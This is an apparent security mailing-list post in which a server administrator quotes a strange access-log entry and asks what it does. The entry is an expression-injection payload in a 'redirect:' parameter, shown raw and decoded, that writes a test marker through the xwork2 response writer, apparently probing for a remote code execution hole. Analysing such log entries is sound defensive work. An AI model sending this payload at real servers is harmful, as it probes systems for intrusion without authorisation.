Some weird Apache redirection exploit?

[Dave Horsfall <dave () horsfall org>]

May not be Apache-specfic, but as it's the most popular server out 
there...

What is it trying to do?  I've never seen it in my logs before.

117.27.254.25 - - [31/Oct/2014:05:16:15 +1100] "GET 
?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok-helo.wang]'),%23w.flush(),%23w.close()}
 HTTP/1.1" 200 7543 "-" "Python-urllib/2.6"

The perp (or rather, the 0wn3d box) is somewhere in China.  When decoded, it
comes out as

GET 
?redirect:${#w=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#w.println('[/ok-helo.wang]'),#w.flush(),#w.close()}

but I'm none the wiser.

-- 
Dave Horsfall (VK2KFU)  "Bliss is a MacBook with a FreeBSD server."
http://www.horsfall.org/spam.html (and check the home page whilst you're there)